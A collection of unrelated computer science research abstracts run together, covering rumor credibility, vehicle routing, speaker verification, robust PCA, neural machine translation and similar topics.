With the rapid growth of social media, rumors are also spreading widely on social media and bring harm to people's daily life. Nowadays, information credibility evaluation has drawn attention from academic and industrial communities. Current methods mainly focus on feature engineering and achieve some success. However, feature engineering based methods require a lot of labor and cannot fully reveal the underlying relations among data. In our viewpoint, the key elements of user behaviors for evaluating credibility are concluded as "who", "what", "when", and "how". These existing methods cannot model the correlation among different key elements during the spreading of microblogs. In this paper, we propose a novel representation learning method, Information Credibility Evaluation (ICE), to learn representations of information credibility on social media. In ICE, latent representations are learnt for modeling user credibility, behavior types, temporal properties, and comment attitudes. The aggregation of these factors in the microblog spreading process yields the representation of a user's behavior, and the aggregation of these dynamic representations generates the credibility representation of an event spreading on social media. Moreover, a pairwise learning method is applied to maximize the credibility difference between rumors and non-rumors. To evaluate the performance of ICE, we conduct experiments on a Sina Weibo data set, and the experimental results show that our ICE model outperforms the state-of-the-art methods.
Vehicle Routing Problem is a well-known problem in logistics and transportation, and the variety of such problems is explained by the fact that it occurs in many real-life situations. It is an NP-hard combinatorial optimization problem and finding an exact optimal solution is practically impossible. In this work, Site-Dependent Truck and Trailer Routing Problem with hard and soft Time Windows and Split Deliveries is considered (SDTTRPTWSD). In this article, we develop a heuristic with the elements of Tabu Search for solving SDTTRPTWSD. The heuristic uses the concept of neighborhoods and visits infeasible solutions during the search. A greedy heuristic is applied to construct an initial solution.
We present a novel semi-supervised approach for sequence transduction and apply it to semantic parsing. The unsupervised component is based on a generative model in which latent sentences generate the unpaired logical forms. We apply this method to a number of semantic parsing tasks focusing on domains with limited access to labelled training data and extend those datasets with synthetically generated logical forms.
This paper presents an end-to-end approach for tracking static and dynamic objects for an autonomous vehicle driving through crowded urban environments. Unlike traditional approaches to tracking, this method is learned end-to-end, and is able to directly predict a full unoccluded occupancy grid map from raw laser input data. Inspired by the recently presented DeepTracking approach [Ondruska, 2016], we employ a recurrent neural network (RNN) to capture the temporal evolution of the state of the environment, and propose to use Spatial Transformer modules to exploit estimates of the egomotion of the vehicle. Our results demonstrate the ability to track a range of objects, including cars, buses, pedestrians, and cyclists through occlusion, from both moving and stationary platforms, using a single learned model. Experimental results demonstrate that the model can also predict the future states of objects from current inputs, with greater accuracy than previous work.
We compare the effectiveness of four different syntactic CCG parsers for a semantic slot-filling task to explore how much syntactic supervision is required for downstream semantic analysis. This extrinsic, task-based evaluation also provides a unique window into the semantics captured (or missed) by unsupervised grammar induction systems.
Understanding, predicting, and generating object motions and transformations is a core problem in artificial intelligence. Modeling sequences of evolving images may provide better representations and models of motion and may ultimately be used for forecasting, simulation, or video generation. Diagrammatic Abstract Reasoning is an avenue in which diagrams evolve in complex patterns and one needs to infer the underlying pattern sequence and generate the next image in the sequence. For this, we develop a novel Contextual Generative Adversarial Network based on Recurrent Neural Networks (Context-RNN-GANs), where both the generator and the discriminator modules are based on contextual history (modeled as RNNs) and the adversarial discriminator guides the generator to produce realistic images for the particular time step in the image sequence. We evaluate the Context-RNN-GAN model (and its variants) on a novel dataset of Diagrammatic Abstract Reasoning, where it performs competitively with 10th-grade human performance but there is still scope for interesting improvements as compared to college-grade human performance. We also evaluate our model on a standard video next-frame prediction task, achieving improved performance over comparable state-of-the-art.
Robust principal component analysis (RPCA) has been widely used for recovering low-rank matrices in many data mining and machine learning problems. It separates a data matrix into a low-rank part and a sparse part. The convex approach has been well studied in the literature. However, state-of-the-art algorithms for the convex approach usually have relatively high complexity due to the need of solving (partial) singular value decompositions of large matrices. A non-convex approach, AltProj, has also been proposed with lighter complexity and better scalability. Given the true rank $r$ of the underlying low rank matrix, AltProj has a complexity of $O(r^2dn)$, where $d\times n$ is the size of data matrix. In this paper, we propose a novel factorization-based model of RPCA, which has a complexity of $O(kdn)$, where $k$ is an upper bound of the true rank. Our method does not need the precise value of the true rank. From extensive experiments, we observe that AltProj can work only when $r$ is precisely known in advance; however, when the needed rank parameter $r$ is specified to a value different from the true rank, AltProj cannot fully separate the two parts while our method succeeds. Even when both work, our method is about 4 times faster than AltProj. Our method can be used as a light-weight, scalable tool for RPCA in the absence of the precise value of the true rank.
Recently, end-to-end memory networks have shown promising results on Question Answering task, which encode the past facts into an explicit memory and perform reasoning ability by making multiple computational steps on the memory. However, memory networks conduct the reasoning on sentence-level memory to output coarse semantic vectors and do not further take any attention mechanism to focus on words, which may lead to the model lose some detail information, especially when the answers are rare or unknown words. In this paper, we propose a novel Hierarchical Memory Networks, dubbed HMN. First, we encode the past facts into sentence-level memory and word-level memory respectively. Then, (k)-max pooling is exploited following reasoning module on the sentence-level memory to sample the (k) most relevant sentences to a question and feed these sentences into attention mechanism on the word-level memory to focus the words in the selected sentences. Finally, the prediction is jointly learned over the outputs of the sentence-level reasoning module and the word-level attention mechanism. The experimental results demonstrate that our approach successfully conducts answer selection on unknown words and achieves a better performance than memory networks.
First this report presents a restricted set of finite transducers used to synthesise structural time-series constraints described by means of a multi-layered function composition scheme. Second it provides the corresponding synthesised catalogue of structural time-series constraints where each constraint is explicitly described in terms of automata with accumulators.
Model predictive control (MPC) is a popular control method that has proved effective for robotics, among other fields. MPC performs re-planning at every time step. Re-planning is done with a limited horizon per computational and real-time constraints and often also for robustness to potential model errors. However, the limited horizon leads to suboptimal performance. In this work, we consider the iterative learning setting, where the same task can be repeated several times, and propose a policy improvement scheme for MPC. The main idea is that between executions we can, offline, run MPC with a longer horizon, resulting in a hindsight plan. To bring the next real-world execution closer to the hindsight plan, our approach learns to re-shape the original cost function with the goal of satisfying the following property: short horizon planning (as realistic during real executions) with respect to the shaped cost should result in mimicking the hindsight plan. This effectively consolidates long-term reasoning into the short-horizon planning. We empirically evaluate our approach in contact-rich manipulation tasks both in simulated and real environments, such as peg insertion by a real PR2 robot.
Science is a crowning glory of the human spirit and its applications remain our best hope for social progress. But there are limitations to current science and perhaps to any science. The general mind-body problem is known to be intractable and currently mysterious. This is one of many deep problems that are universally agreed to be beyond the current purview of Science, including quantum phenomena, etc. But all of these famous unsolved problems are either remote from everyday experience (entanglement, dark matter) or are hard to even define sharply (phenomenology, consciousness, etc.).
In this note, we will consider some obvious computational problems in vision that arise every time that we open our eyes and yet are demonstrably incompatible with current theories of neural computation. The focus will be on two related phenomena, known as the neural binding problem and the illusion of a detailed stable visual world.
We introduce an online neural sequence to sequence model that learns to alternate between encoding and decoding segments of the input as it is read. By independently tracking the encoding and decoding representations our algorithm permits exact polynomial marginalization of the latent segmentation during training, and during decoding beam search is employed to find the best alignment path together with the predicted output sequence. Our model tackles the bottleneck of vanilla encoder-decoders that have to read and memorize the entire input sequence in their fixed-length hidden states before producing any output. It is different from previous attentive models in that, instead of treating the attention weights as output of a deterministic function, our model assigns attention weights to a sequential latent variable which can be marginalized out and permits online generation. Experiments on abstractive sentence summarization and morphological inflection show significant performance gains over the baseline encoder-decoders.
In multilingual question answering, either the question needs to be translated into the document language, or vice versa. In addition to direction, there are multiple methods to perform the translation, four of which we explore in this paper: word-based, 10-best, context-based, and grammar-based. We build a feature for each combination of translation direction and method, and train a model that learns optimal feature weights. On a large forum dataset consisting of posts in English, Arabic, and Chinese, our novel learn-to-translate approach was more effective than a strong baseline (p<0.05): translating all text into English, then training a classifier based only on English (original or translated) text.
Recommender systems play an increasingly important role in online applications to help users find what they need or prefer. Collaborative filtering algorithms that generate predictions by analyzing the user-item rating matrix perform poorly when the matrix is sparse. To alleviate this problem, this paper proposes a simple recommendation algorithm that fully exploits the similarity information among users and items and intrinsic structural information of the user-item matrix. The proposed method constructs a new representation which preserves affinity and structure information in the user-item rating matrix and then performs recommendation task. To capture proximity information about users and items, two graphs are constructed. Manifold learning idea is used to constrain the new representation to be smooth on these graphs, so as to enforce users and item proximities. Our model is formulated as a convex optimization problem, for which we need to solve the well-known Sylvester equation only. We carry out extensive empirical evaluations on six benchmark datasets to show the effectiveness of this approach.
Decision making is an important component in a speaker verification system. For the conventional GMM-UBM architecture, the decision is usually conducted based on the log likelihood ratio of the test utterance against the GMM of the claimed speaker and the UBM. This single-score decision is simple but tends to be sensitive to the complex variations in speech signals (e.g. text content, channel, speaking style, etc.). In this paper, we propose a decision making approach based on multiple scores derived from a set of cohort GMMs (cohort scores). Importantly, these cohort scores are not simply averaged as in conventional cohort methods; instead, we employ a powerful discriminative model as the decision maker. Experimental results show that the proposed method delivers substantial performance improvement over the baseline system, especially when a deep neural network (DNN) is used as the decision maker, and the DNN input involves some statistical features derived from the cohort scores.
PLDA is a popular normalization approach for the i-vector model, and it has delivered state-of-the-art performance in speaker verification. However, PLDA training requires a large amount of labeled development data, which is highly expensive in most cases. A possible approach to mitigate the problem is various unsupervised adaptation methods, which use unlabeled data to adapt the PLDA scattering matrices to the target domain.
In this paper, we present a new `local training' approach that utilizes inaccurate but much cheaper local labels to train the PLDA model. These local labels discriminate speakers within a single conversion only, and so are much easier to obtain compared to the normal `global labels'. Our experiments show that the proposed approach can deliver significant performance improvement, particularly with limited globally-labeled data.
Robotic code needs to be verified to ensure its safety and functional correctness, especially when the robot is interacting with people. Testing the real code in simulation is a viable option. It reduces the costs of experiments and provides detail that is lost when using formal methods. However, generating tests that cover interesting scenarios, while executing most of the code, is a challenge amplified by the complexity of the interactions between the environment and the software. Model-based test generation methods can automate otherwise manual processes and facilitate reaching rare scenarios during testing. In this paper, we compare the use of Belief-Desire-Intention (BDI) agents as models for test generation, with more conventional, model-based test generation, that exploits automata and model checking techniques, and random test generation methods, in terms of practicality, performance, scalability, and exploration (`coverage'). Simulators and automated testbenches were implemented in Robot Operating System (ROS) and Gazebo, for testing the code of two robots, BERT2 in a cooperative manufacture (table assembly) task, and Tiago as a home care assistant. The results highlight the clear advantages of using BDI agents for test generation, compared to random and conventional automata-based approaches. BDI agents naturally emulate the agency present in Human-Robot Interaction (HRI). They are thus more expressive and scale well in HRI applications.
PLDA is a popular normalization approach for the i-vector model, and it has delivered state-of-the-art performance in speaker verification. However, PLDA training requires a large amount of labelled development data, which is highly expensive in most cases. We present a cheap PLDA training approach, which assumes that speakers in the same session can be easily separated, and speakers in different sessions are simply different. This results in `weak labels' which are not fully accurate but cheap, leading to a weak PLDA training.
Our experimental results on real-life large-scale telephony customer service achieves demonstrated that the weak training can offer good performance when human-labelled data are limited. More interestingly, the weak training can be employed as a discriminative adaptation approach, which is more efficient than the prevailing unsupervised method when human-labelled data are insufficient.
This paper presents a unified model to perform language and speaker recognition simultaneously and altogether. The model is based on a multi-task recurrent neural network where the output of one task is fed as the input of the other, leading to a collaborative learning framework that can improve both language and speaker recognition by borrowing information from each other. Our experiments demonstrated that the multi-task model outperforms the task-specific models on both tasks.
We present the AP16-OL7 database which was released as the training and test data for the oriental language recognition (OLR) challenge on APSIPA 2016. Based on the database, a baseline system was constructed on the basis of the i-vector model. We report the baseline results evaluated in various metrics defined by the AP16-OLR evaluation plan and demonstrate that AP16-OL7 is a reasonable data resource for multilingual research.
While the possibility of time travel in physics is still debated, the explosive growth of virtual-reality simulations opens up new possibilities to rigorously explore such time travel and its consequences in the digital domain. Here we provide a computational model of time travel and a computer program that allows exploring digital time travel. In order to explain our method we formalize a simplified version of the famous grandfather paradox, show how the system can allow the participant to go back in time, try to kill their ancestors before they were born, and experience the consequences. The system has even come up with scenarios that can be considered consistent "solutions" of the grandfather paradox. We discuss the conditions for digital time travel, which indicate that it has a large number of practical applications.
In this paper, we present UbuntuWorld 1.0 LTS - a platform for developing automated technical support agents in the Ubuntu operating system. Specifically, we propose to use the Bash terminal as a simulator of the Ubuntu environment for a learning-based agent and demonstrate the usefulness of adopting reinforcement learning (RL) techniques for basic problem solving and troubleshooting in this environment. We provide a plug-and-play interface to the simulator as a python package where different types of agents can be plugged in and evaluated, and provide pathways for integrating data from online support forums like Ask Ubuntu into an automated agent's learning process. Finally, we show that the use of this data significantly improves the agent's learning efficiency. We believe that this platform can be adopted as a real-world test bed for research on automated technical support.
The literature on judgment aggregation is moving from studying impossibility results regarding aggregation rules towards studying specific judgment aggregation rules. Here we give a structured list of most rules that have been proposed and studied recently in the literature, together with various properties of such rules. We first focus on the majority-preservation property, which generalizes Condorcet-consistency, and identify which of the rules satisfy it. We study the inclusion relationships that hold between the rules. Finally, we consider two forms of unanimity, monotonicity, homogeneity, and reinforcement, and we identify which of the rules satisfy these properties.
Neural Machine Translation (NMT) is an end-to-end learning approach for automated translation, with the potential to overcome many of the weaknesses of conventional phrase-based translation systems. Unfortunately, NMT systems are known to be computationally expensive both in training and in translation inference. Also, most NMT systems have difficulty with rare words. These issues have hindered NMT's use in practical deployments and services, where both accuracy and speed are essential. In this work, we present GNMT, Google's Neural Machine Translation system, which attempts to address many of these issues. Our model consists of a deep LSTM network with 8 encoder and 8 decoder layers using attention and residual connections. To improve parallelism and therefore decrease training time, our attention mechanism connects the bottom layer of the decoder to the top layer of the encoder. To accelerate the final translation speed, we employ low-precision arithmetic during inference computations. To improve handling of rare words, we divide words into a limited set of common sub-word units ("wordpieces") for both input and output. This method provides a good balance between the flexibility of "character"-delimited models and the efficiency of "word"-delimited models, naturally handles translation of rare words, and ultimately improves the overall accuracy of the system. Our beam search technique employs a length-normalization procedure and uses a coverage penalty, which encourages generation of an output sentence that is most likely to cover all the words in the source sentence. On the WMT'14 English-to-French and English-to-German benchmarks, GNMT achieves competitive results to state-of-the-art. Using a human side-by-side evaluation on a set of isolated simple sentences, it reduces translation errors by an average of 60% compared to Google's phrase-based production system.
